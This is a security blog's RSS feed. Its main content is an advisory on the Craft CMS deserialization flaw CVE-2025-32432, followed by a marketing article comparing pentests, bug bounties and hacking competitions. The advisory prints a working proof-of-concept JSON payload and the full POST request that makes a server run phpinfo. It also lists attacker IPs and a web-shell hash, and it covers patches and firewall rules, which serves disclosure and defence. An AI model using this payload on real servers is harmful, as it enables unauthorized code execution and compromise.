<li><p><a href="https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/">ReliaQuest - Threat Spotlight: ReliaQuest Uncovers Vulnerability Behind SAP NetWeaver Compromise</a></p>
</li>
<li><p><a href="https://github.com/Onapsis/Onapsis_CVE-2025-31324_Scanner_Tools">GitHub - Onapsis CVE-2025-31324 Scanner Tools</a></p>
</li>
<li><p><a href="https://github.com/redrays-io/CVE-2025-31324">GitHub - RedRays CVE-2025-31324 Scanner</a></p>
</li>
<li><p><a href="https://hackread.com/sap-netweaver-flaw-severity-hackers-deploy-web-shells/">Hackread - SAP NetWeaver Flaw Exploited to Deploy Web Shells</a></p>
</li>
<li><p><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA - Known Exploited Vulnerabilities Catalog</a></p>
</li>
<li><p><a href="https://cloud.projectdiscovery.io/library/CVE-2025-31324">Nuclei Template: CVE-2025-31324</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[CVE-2025-32432: Deserialization in Craft CMS Allows RCE]]></title><description><![CDATA[Introduction
Identified on April 7, 2025, and officially published on April 25, 2025, in the NVD, CVE-2025-32432 presents a critical threat to organizations using Craft CMS, a widely adopted content m]]></description><link>https://blog.bypassec.com/cve-2025-32432-critical-vulnerability-in-craft-cms-allows-remote-code-execution</link><guid isPermaLink="true">https://blog.bypassec.com/cve-2025-32432-critical-vulnerability-in-craft-cms-allows-remote-code-execution</guid><category><![CDATA[Security]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Bypassec]]></dc:creator><pubDate>Sun, 27 Apr 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746661503348/bbecdfba-f8bd-4a21-94ac-d8ecad832632.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2><strong>Introduction</strong></h2>
<p>Identified on April 7, 2025, and officially published on April 25, 2025, in the <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-32432">NVD</a>, CVE-2025-32432 presents a critical threat to organizations using Craft CMS, a widely adopted content management system. This flaw allows unauthenticated remote code execution (RCE), enabling attackers to run arbitrary commands on the server, compromising data security and system integrity. It is estimated that around 13,000 Craft CMS instances are vulnerable, with at least 300 already compromised. Patches were made available on April 10, 2025, but active exploitation has been detected since April 17, making an immediate response essential.</p>
<h2><strong>Affected Versions</strong></h2>
<p>The vulnerability affects the following versions of Craft CMS:</p>
<table>
<thead>
<tr>
<th><strong>Version</strong></th>
<th><strong>Affected Range</strong></th>
</tr>
</thead>
<tbody><tr>
<td>Craft CMS 3.x</td>
<td>3.0.0-RC1 to 3.9.14</td>
</tr>
<tr>
<td>Craft CMS 4.x</td>
<td>4.0.0-RC1 to 4.14.14</td>
</tr>
<tr>
<td>Craft CMS 5.x</td>
<td>5.0.0-RC1 to 5.6.16</td>
</tr>
</tbody></table>
<h2><strong>Technical Details</strong></h2>
<p>CVE-2025-32432 is an insecure deserialization vulnerability that results in remote code execution (RCE). It is related to a flaw in the Yii framework (CVE-2024-58136), fixed in version 2.0.52, but which required specific fixes in Craft CMS. The exploitation occurs at the <code>actions/assets/generate-transform</code> endpoint, where a malicious POST request can deserialize a manipulated PHP object, allowing the execution of arbitrary code.</p>
<h2><strong>Exploitation Process</strong></h2>
<p>To exploit the flaw, a malicious actor can follow these steps:</p>
<ol>
<li><p><strong>Obtaining a Valid CSRF Token</strong>: Before exploring the vulnerable endpoint, the attacker needs to obtain the required CSRF token for the next request. For this, a basic request to the <code>/index.php?p=admin/dashboard</code> endpoint can be performed to capture the CSRF token.</p>
</li>
<li><p><strong>Sending the Malicious Payload</strong>: With a valid CSRF token, the attacker sends a POST request to the same endpoint with a payload that exploits deserialization. A simplified example of this payload would be:</p>
</li>
</ol>
<pre><code class="language-json">{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}
</code></pre>
<p>This payload causes the server to execute the <code>phpinfo()</code> function, demonstrating the ability to execute code. In real scenarios, attackers can use more complex payloads to install backdoors or extract data.</p>
<p>The full POST request would look something like this:</p>
<pre><code class="language-http">POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: &lt;hostname&gt;
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: &lt;token&gt;
Content-Type: application/json

{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}
</code></pre>
<ol>
<li><strong>Advanced Exploitation</strong>: After the initial execution, attackers can upload malicious PHP files, such as <code>filemanager.php</code>, to maintain persistent access. This was observed in campaigns that used specific IPs, such as 172.86.113.137 and 104.161.32.11, to distribute malware.</li>
</ol>
<h3><strong>Public Tools and Exploits</strong></h3>
<p>Tools that automate exploitation exist and are available in repositories such as:</p>
<ul>
<li><p><a href="https://github.com/Chocapikk/CVE-2025-32432">Chocapikk/CVE-2025-32432</a>: A vulnerability checker for Craft CMS.</p>
</li>
<li><p><a href="https://github.com/Sachinart/CVE-2025-32432">Sachinart/CVE-2025-32432</a>: A Python script that automates detection and exploitation, including system information extraction.</p>
</li>
</ul>
<p>Additionally, a Metasploit module was published, lowering the barrier for less experienced attackers. SensePost also made a <a href="https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/">Nuclei template</a> available for detection in versions 4.x and 5.x.</p>
<h3><strong>Evidence of Exploitation</strong></h3>
<p>Real world exploitation was confirmed on April 17, 2025, with campaigns installing files such as <code>filemanager.php</code> (MD5: d8fddbd85e6af76c91bfa17118dbecc6) and others, like <code>autoload_classmap.php</code> and <code>wp-22.php</code>. SensePost identified approximately 35,000 domains hosting Craft CMS, of which 13,000 were vulnerable, mostly in the United States.</p>
<h2><strong>Mitigations</strong></h2>
<h3><strong>Official Patch</strong></h3>
<p>The definitive solution is to update Craft CMS to the patched versions, released on April 10, 2025:</p>
<ul>
<li><p>Craft CMS 3.9.15 (<a href="https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical">Changelog</a>)</p>
</li>
<li><p>Craft CMS 4.14.15 (<a href="https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical">Changelog</a>)</p>
</li>
<li><p>Craft CMS 5.6.17 (<a href="https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5617---2025-04-10-critical">Changelog</a>)</p>
</li>
</ul>
<h3><strong>Temporary Measures</strong></h3>
<p>If an immediate update is not possible, the following actions can reduce the risk:</p>
<ul>
<li><p><strong>Firewall Blocking</strong>: Configure the firewall to block POST requests to the <code>actions/assets/generate-transform</code> endpoint containing the <code>__class</code> string in the body. This can be implemented in tools such as WAFs (Web Application Firewalls).</p>
</li>
<li><p><strong>Security Library</strong>: Install the <a href="https://github.com/craftcms/security-patches">Craft CMS Security Patches</a> as a temporary solution.</p>
</li>
<li><p><strong>Log Monitoring</strong>: Check server logs for suspicious requests to the mentioned endpoint, especially those with <code>__class</code>.</p>
</li>
</ul>
<h2><strong>Conclusion</strong></h2>
<p>The CVE-2025-32432 vulnerability is a critical threat that exposes Craft CMS systems to severe attacks, including data theft and malware installation. Its active exploitation and the availability of public tools, such as Python scripts and Metasploit modules, increase the urgency for action. Organizations should prioritize updating to the corrected versions and implement temporary mitigation measures if necessary. A rapid response to this flaw is essential to protect digital infrastructure.</p>
<p>If you want to test your systems' security in a practical and effective way, we invite you to host a hacking tournament at <a href="https://bypassec.com/">Bypassec</a>, a platform with more than 100 ethical hackers ready to identify vulnerabilities in your environment.</p>
<h2><strong>References</strong></h2>
<ul>
<li><p><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-32432">NVD - CVE-2025-32432</a></p>
</li>
<li><p><a href="https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432">Craft CMS - CVE-2025-32432</a></p>
</li>
<li><p><a href="https://github.com/advisories/GHSA-f3gw-9ww9-jmc3">GitHub Advisory - GHSA-f3gw-9ww9-jmc3</a></p>
</li>
<li><p><a href="https://github.com/Sachinart/CVE-2025-32432">Exploit PoC - Sachinart/CVE-2025-32432</a></p>
</li>
<li><p><a href="https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/">SensePost Blog - Investigating an in-the-wild campaign using RCE in CraftCMS</a></p>
</li>
<li><p><a href="https://github.com/Chocapikk/CVE-2025-32432">Exploit PoC - Chocapikk/CVE-2025-32432</a></p>
</li>
<li><p><a href="https://github.com/craftcms/security-patches">Craft CMS Security Patches</a></p>
</li>
<li><p><a href="https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical">Craft CMS Changelog 3.9.15</a></p>
</li>
<li><p><a href="https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical">Craft CMS Changelog 4.14.15</a></p>
</li>
<li><p><a href="https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5617---2025-04-10-critical">Craft CMS Changelog 5.6.17</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Pentest vs Bug Bounty: Which Should I Choose for My Business?]]></title><description><![CDATA[Imagine discovering that sensitive company data was exposed on an underground forum. Or perhaps a large scale attack that began weeks ago just hit your infrastructure and paralyzed your operations. Un]]></description><link>https://blog.bypassec.com/pentest-vs-bug-bounty-which-should-i-choose-for-my-business</link><guid isPermaLink="true">https://blog.bypassec.com/pentest-vs-bug-bounty-which-should-i-choose-for-my-business</guid><dc:creator><![CDATA[Bypassec]]></dc:creator><pubDate>Tue, 15 Apr 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1744148957727/73467c57-215f-4cc6-8b08-1ab808da3b83.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Imagine discovering that sensitive company data was exposed on an underground forum. Or perhaps a large scale attack that began weeks ago just hit your infrastructure and paralyzed your operations. Unfortunately, situations like these are no longer exceptions in the cybersecurity world.</p>
<p>With the rise of ransomware attacks, massive data leaks, and digital fraud, protecting APIs, systems, and applications has become a strategic priority for companies across all sectors. However, many organizations still struggle to determine the best path to test their security. <strong>Should you invest in a traditional pentest or launch a bug bounty program?</strong></p>
<p>Each of these models has its own benefits and limitations. But what if there was a way to combine the best of both worlds? In this article, we will explore these approaches, highlight their differences, and introduce a highly effective model gaining immense traction in the market: <strong>Hacking Competitions</strong>.</p>
<hr />
<h2>How do security tests work?</h2>
<p>When we talk about testing application security, the two most well known models in the market are the <strong>pentest</strong> and the <strong>bug bounty</strong>. Both share the same ultimate goal of finding vulnerabilities before malicious attackers do.</p>
<h3><strong>Penetration Testing (Pentest)</strong></h3>
<p>A pentest is a classic and structured approach. A company hires a specialized team to simulate real attacks within a controlled environment. This process typically occurs over a set period of days or weeks with a strictly defined scope. At the end, the company receives a technical report containing the discovered vulnerabilities.</p>
<p>While effective and essential for compliance (like SOC2, ISO 27001, and PCI DSS), the pentest has limitations. It depends heavily on the specific skills of a few allocated professionals and the limited time they have available. This predictable approach might leave undiscovered gaps that a larger group of malicious agents working without deadlines could eventually exploit.</p>
<h3><strong>Bug Bounty</strong></h3>
<p>A bug bounty functions as an open invitation to independent security researchers around the world to test an application for flaws. Instead of paying for hours worked, the company rewards professionals exclusively for valid vulnerabilities they identify. It is a model based purely on merit and results.</p>
<p>This approach brings incredible diversity of thought, global reach, and the opportunity to discover deeper bugs. On the flip side, it requires the company to be ready to handle a massive volume of reports, manage payouts, and constantly moderate rules of engagement.</p>
<h2>Pentest vs Bug Bounty: A Direct Comparison</h2>
<p>Choosing between these two models depends on the profile and maturity of your company. The reality is that both have distinct advantages and drawbacks.</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>Penetration Testing (Pentest)</th>
<th>Bug Bounty</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Approach</strong></td>
<td>Structured, controlled, and predictable</td>
<td>Continuous, dynamic, and open</td>
</tr>
<tr>
<td><strong>Testers</strong></td>
<td>A small team of assigned consultants</td>
<td>A global community of independent researchers</td>
</tr>
<tr>
<td><strong>Payment Model</strong></td>
<td>Paid based on time and predefined scope</td>
<td>Paid only for valid vulnerabilities discovered</td>
</tr>
<tr>
<td><strong>Best Used For</strong></td>
<td>Compliance requirements and sensitive internal applications</td>
<td>Discovering complex flaws on public-facing assets</td>
</tr>
<tr>
<td><strong>Main Limitation</strong></td>
<td>Constrained by time limits and the size of the team</td>
<td>High administrative burden to triage and validate reports</td>
</tr>
</tbody></table>
<p>Ultimately, neither approach solves every problem in isolation. The pentest offers control, while the bug bounty provides depth and diversity. Recognizing this gap, Bypassec created an alternative designed to combine these two worlds: <strong>Hacking Competitions</strong>.</p>
<h2>The Best of Both Worlds: What is a Hacking Competition?</h2>
<p>A Hacking Competition is a high intensity security testing model created by Bypassec to identify system flaws quickly and accurately. We establish a secure communication channel that connects your company to an elite global community of security specialists. They focus their collective intelligence on your systems for a set period and are rewarded for the vulnerabilities they find.</p>
<p>A Hacking Competition does not replace a pentest. It enhances it. While pentests are ideal for sensitive internal data, our competitions maximize the search for external flaws through the collaboration of hundreds of researchers.</p>
<p>Here is how it works in practice and why it outpaces traditional models:</p>
<ul>
<li><p><strong>Strength in Numbers:</strong> In a traditional security test, you rely on the perspective of one or two consultants. In a Hacking Competition, you use mathematics to your advantage. If hundreds of skilled people test your system simultaneously and find nothing, your confidence level is drastically higher than if a single person tells you everything is fine.</p>
</li>
<li><p><strong>The Reward Pool and Financial Efficiency:</strong> The company sets aside a specific budget destined only for those who report real flaws. If your systems are highly secure and the specialists do not find critical vulnerabilities, Bypassec refunds part or even 100% of the reward pool. You only pay for the real impact generated by the community.</p>
</li>
<li><p><strong>Zero Administrative Headache:</strong> Unlike traditional bug bounties where your internal team gets flooded with messages, Bypassec dictates the rules of engagement. We filter all incoming reports, validate what is real, and manage all payments. You do not deal with the crowd. You deal directly with our platform, receiving clean and actionable diagnostics ready for your developers to fix.</p>
</li>
<li><p><strong>Security Through Redundancy:</strong> Because this is a competition, researchers are motivated to report flaws immediately to secure their prize. If one researcher decides to wait, another will report it within minutes. This redundancy guarantees complete transparency and ensures no secrets are kept from your business.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/63b8c7bf624134a0c9b39f4d/5cff834b-a9bf-4cce-afd0-97f31e732c77.png" alt="" style="display:block;margin:0 auto" />

<h3>Addressing the Elephant in the Room: Is it Safe?</h3>
<p>It is entirely natural for business owners to ask: "What if the researcher uses the flaw against me?"</p>
<p>The answer lies in the stark contrast between criminal profit and ethical profit. Today, for a hacker to profit from cybercrime, they must take immense risks. They face the nightmare of money laundering, complex anonymity, the constant risk of imprisonment, and the uncertainty of whether a victim will even pay a ransom.</p>
<p>At Bypassec, we offer the exact opposite path. We provide fast and clean payments, professional prestige, and zero legal risk. The researcher is a free agent motivated by merit. The incentive for them to report the flaw to us in minutes and receive a guaranteed prize is mathematically superior to any attempt at extortion. Having a structured channel to reward these researchers actually discourages crime and strengthens your digital environment.</p>
<h3>Choosing Your Competition Model</h3>
<p>Because these tournaments involve external researchers, they are designed for applications already exposed to the internet. Depending on your needs, you can choose between two frameworks:</p>
<ol>
<li><p><strong>Public Competitions:</strong> The intelligence channel is open to any verified user on the Bypassec platform. These events have massive reach and allow hundreds of specialists to participate, providing the maximum possible testing depth.</p>
</li>
<li><p><strong>Private Competitions:</strong> Designed for applications that require controlled access or special account creation. In this model, only an exclusive, hand-picked group of elite specialists is invited to participate.</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/63b8c7bf624134a0c9b39f4d/b9e14700-c1e8-4ebf-b6bd-dc54da4cd13a.png" alt="" style="display:block;margin:0 auto" />

<p><em>Note: Internal applications containing confidential production data should still be tested through our traditional penetration testing services. No sensitive internal data is shared with researchers during a competition.</em></p>
<h2>The Definitive Path to Security Maturity</h2>
<p>Relying solely on routine checks is no longer enough to protect your business. A Hacking Competition is an organized, scalable, and efficient way to mobilize the best minds in the market to work in your favor. By bridging the gap between the structured nature of a pentest and the crowd sourced power of a bug bounty, <a href="https://bypassec.com">Bypassec</a> ensures you discover your blind spots well before any real risk occurs.</p>
]]></content:encoded></item></channel></rss>